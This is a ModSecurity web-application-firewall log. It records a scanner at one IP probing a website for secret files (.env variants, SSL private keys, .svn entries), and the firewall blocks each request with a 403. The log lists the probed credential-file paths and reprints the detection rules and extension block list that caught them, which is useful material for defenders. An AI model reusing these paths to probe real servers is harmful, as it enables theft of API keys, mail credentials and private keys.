[Sun Oct 25 13:42:19.204640 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at4_e90xbXd9S994rNKOFwAAABo"]
[Sun Oct 25 13:42:19.205019 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at4_e90xbXd9S994rNKOFwAAABo"]
[Sun Oct 25 13:42:19.205412 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at4_e90xbXd9S994rNKOFwAAABo"]
[Sun Oct 25 13:42:19.206758 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases1.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at4_e-Rnh_MPFutbQ4Jk9AAAAAE"]
[Sun Oct 25 13:42:19.207157 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at4_e-Rnh_MPFutbQ4Jk9AAAAAE"]
[Sun Oct 25 13:42:19.207459 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/host.key"] [unique_id "at4_e-Rnh_MPFutbQ4Jk9AAAAAE"]
[Sun Oct 25 13:42:19.292484 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.github/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at4_e0ro6bHDhZQ8Cou1VQAAABQ"]
[Sun Oct 25 13:42:19.292845 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at4_e0ro6bHDhZQ8Cou1VQAAABQ"]
[Sun Oct 25 13:42:19.293148 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at4_e0ro6bHDhZQ8Cou1VQAAABQ"]
[Sun Oct 25 13:42:19.309905 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases1.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at4_e2ROfIjgFWURimb5wQAAABw"]
[Sun Oct 25 13:42:19.310201 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at4_e2ROfIjgFWURimb5wQAAABw"]
[Sun Oct 25 13:42:19.310444 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at4_e2ROfIjgFWURimb5wQAAABw"]
[Sun Oct 25 13:42:19.316717 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases1.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at4_e0nqvEndZSiuRU5OpwAAAA8"]
[Sun Oct 25 13:42:19.316996 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at4_e0nqvEndZSiuRU5OpwAAAA8"]
[Sun Oct 25 13:42:19.317206 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at4_e0nqvEndZSiuRU5OpwAAAA8"]
[Sun Oct 25 13:42:19.462175 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.mail"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at4_e-Rnh_MPFutbQ4Jk9QAAAAE"]
[Sun Oct 25 13:42:19.462323 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at4_e-Rnh_MPFutbQ4Jk9QAAAAE"]
[Sun Oct 25 13:42:19.462578 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.mail"] [unique_id "at4_e-Rnh_MPFutbQ4Jk9QAAAAE"]
[Sun Oct 25 13:42:19.488228 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at4_e0ro6bHDhZQ8Cou1VgAAABQ"]
[Sun Oct 25 13:42:19.490069 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at4_e0ro6bHDhZQ8Cou1VgAAABQ"]
[Sun Oct 25 13:42:19.490324 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.sendgrid"] [unique_id "at4_e0ro6bHDhZQ8Cou1VgAAABQ"]
[Sun Oct 25 13:42:19.497544 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at4_e9ANyK5EpBCn2dDqfwAAABk"]
[Sun Oct 25 13:42:19.497690 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at4_e9ANyK5EpBCn2dDqfwAAABk"]
[Sun Oct 25 13:42:19.497930 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.smtp"] [unique_id "at4_e9ANyK5EpBCn2dDqfwAAABk"]
[Sun Oct 25 13:42:20.223379 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ses"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at4_fEnqvEndZSiuRU5OqAAAAA8"]
[Sun Oct 25 13:42:20.223623 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at4_fEnqvEndZSiuRU5OqAAAAA8"]
[Sun Oct 25 13:42:20.223939 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at4_fEnqvEndZSiuRU5OqAAAAA8"]
[Sun Oct 25 13:42:20.225098 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at4_fGROfIjgFWURimb5wgAAABw"]
[Sun Oct 25 13:42:20.225239 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at4_fGROfIjgFWURimb5wgAAABw"]
[Sun Oct 25 13:42:20.225485 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.staging"] [unique_id "at4_fGROfIjgFWURimb5wgAAABw"]
[Sun Oct 25 13:42:20.379417 2026] [security2:error] [pid 2873152:tid 2873152] [client 34.85.93.218:50836] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at4_fIW9AQ683bVF6pkMvgAAACU"]
[Sun Oct 25 13:42:20.379721 2026] [security2:error] [pid 2873152:tid 2873152] [client 34.85.93.218:50836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at4_fIW9AQ683bVF6pkMvgAAACU"]
[Sun Oct 25 13:42:20.380121 2026] [security2:error] [pid 2873152:tid 2873152] [client 34.85.93.218:50836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at4_fIW9AQ683bVF6pkMvgAAACU"]
[Sun Oct 25 13:42:20.469736 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at4_fEnqvEndZSiuRU5OqQAAAA8"]
[Sun Oct 25 13:42:20.469959 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at4_fEnqvEndZSiuRU5OqQAAAA8"]
[Sun Oct 25 13:42:20.470265 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/config/.env.production"] [unique_id "at4_fEnqvEndZSiuRU5OqQAAAA8"]
[Sun Oct 25 13:42:20.501803 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at4_fN0xbXd9S994rNKOGQAAABo"]
